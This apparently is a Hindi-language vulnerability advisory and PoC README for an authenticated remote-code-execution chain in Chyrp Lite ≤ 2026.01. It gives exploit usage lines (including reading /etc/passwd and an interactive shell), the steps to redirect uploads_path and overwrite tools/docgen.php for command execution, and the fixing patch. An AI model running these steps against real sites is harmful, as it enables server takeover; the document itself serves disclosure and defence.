
CVE-2026-53767 + CVE-2026-53768 - uploads_path ब्लॉकलिस्ट बाईपास और एक्सटेंशन सत्यापन की कमी के माध्यम से Chyrp Lite ≤ 2026.01 में प्रमाणीकृत RCE
CVE-2026-53767 + CVE-2026-53768 - Chyrp Lite ≤ 2026.01 ("Iriomote") में प्रमाणित RCE
श्रृंखलित हमला:
uploads_pathब्लॉकलिस्ट बायपास (CVE-2026-53768) +admin_update_upload()में अनुपस्थित फ़ाइल एक्सटेंशन सत्यापन (CVE-2026-53767) →www-dataके रूप में रिमोट कोड निष्पादन
Chyrp Lite ≤ 2026.01 एक प्रमाणित रिमोट कोड निष्पादन श्रृंखला के प्रति संवेदनशील है, जिसका शोषण change_settings और edit_upload अनुमतियाँ रखने वाला कोई भी उपयोगकर्ता कर सकता है (डिफ़ॉल्ट: व्यवस्थापक)।
| CVE | CVE-2026-53767 · CVE-2026-53768 |
| CVSS | 9.1 गंभीर (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) |
| प्रभावित | xenocrat/chyrp-lite ≤ 2026.01 |
| पैच | कमिट 1489dc9 |
| परामर्श | GHSA-8h86-c24h-5jp3 · GHSA-r9w7-5h94-wq5x |
| रिपोर्टकर्ता | iltosec |
python chyrp_rce_poc.py -h
usage: chyrp_rce_poc.py [-h] -u URL -U USERNAME -P PASSWORD [-c CMD] [-i]
[--config CONFIG] [--restore RESTORE]
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:'
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:' -c 'cat /etc/passwd'

python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:' -i

चरण 1 - प्रमाणीकरण
चरण 2 - uploads_path को tools/ पर पुनर्निर्देशित करें (ब्लॉकलिस्ट में नहीं)
छवि
छवि
चरण 3 - tools/docgen.php को अधिलेखित करें (प्रतिस्थापन पर कोई एक्सटेंशन जाँच नहीं)
छवि
छवि
चरण 4 - निष्पादित करें
http://127.0.0.1/chyrp/tools/docgen.php?cmd=id
छवि
uploads_path ब्लॉकलिस्टincludes/controller/Admin.php uploads_path को एक हार्डकोडेड ब्लॉकलिस्ट के विरुद्ध सत्यापित करता है:
admin | ajax | feathers | fonts | includes | modules | themes
tools/ निर्देशिका - जो Chyrp Lite के साथ आती है और इसमें निष्पादन योग्य .php फ़ाइलें (docgen.php, gettext.php, triggers.php) शामिल हैं - सूचीबद्ध नहीं है। uploads_path=tools सबमिट करने पर सत्यापन पास हो जाता है और इसे config.json.php में स्थायी रूप से सहेज लिया जाता है।
admin_update_upload() में अनुपस्थित एक्सटेंशन सत्यापनupload_tester() (includes/helpers.php) केवल PHP अपलोड त्रुटि कोड और फ़ाइल आकार की जाँच करता है - यह प्रतिस्थापन फ़ाइल पर कोई एक्सटेंशन सत्यापन नहीं करता है। लक्ष्य फ़ाइलनाम $_POST['file'] से लिया जाता है और वर्तमान uploads_path के सापेक्ष हल किया जाता है। चूँकि tools/docgen.php पहले से मौजूद है (is_file() जाँच को संतुष्ट करता है), इसे मनमानी सामग्री के साथ चुपचाप अधिलेखित कर दिया जाता है।
नोट:
--configफ़्लैग CSRF टोकन गणना के लिएconfig.json.phpकी ओर इंगित करता है। यदि फ़ाइल स्थानीय रूप से पठनीय नहीं है, तो स्क्रिप्ट स्वचालित रूप से HTML प्रतिक्रिया से टोकन निकालने का सहारा लेती है।
ऐसे संस्करण में अपडेट करें जिसमें कमिट 1489dc9 या उसके बाद का परिवर्तन शामिल हो।
दो स्वतंत्र सुधार लागू किए गए:
सुधार 1 - uploads_path ब्लॉकलिस्ट में tools (और licenses) जोड़ें:
// Before
"/^$qdir((admin|ajax|feathers|fonts|includes|modules|themes)$qdir|$)/"
// After
"/^$qdir((admin|ajax|feathers|fonts|includes|licenses|modules|themes|tools)$qdir|$)/"
सुधार 2 - admin_update_upload() में अपलोड की गई फ़ाइल के एक्सटेंशन को व्हाइटलिस्ट के विरुद्ध सत्यापित करें:
$new_extension = strtolower(pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION));
$whitelist = upload_filter_whitelist();
if (!in_array($new_extension, $whitelist))
error(__("Error"), __("File type is not allowed."), code: 422);
यह PoC केवल शैक्षिक और शोध प्रयोजनों के लिए जारी किया गया है। इसका उपयोग केवल उन्हीं प्रणालियों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। लेखक किसी भी दुरुपयोग के लिए उत्तरदायी नहीं है।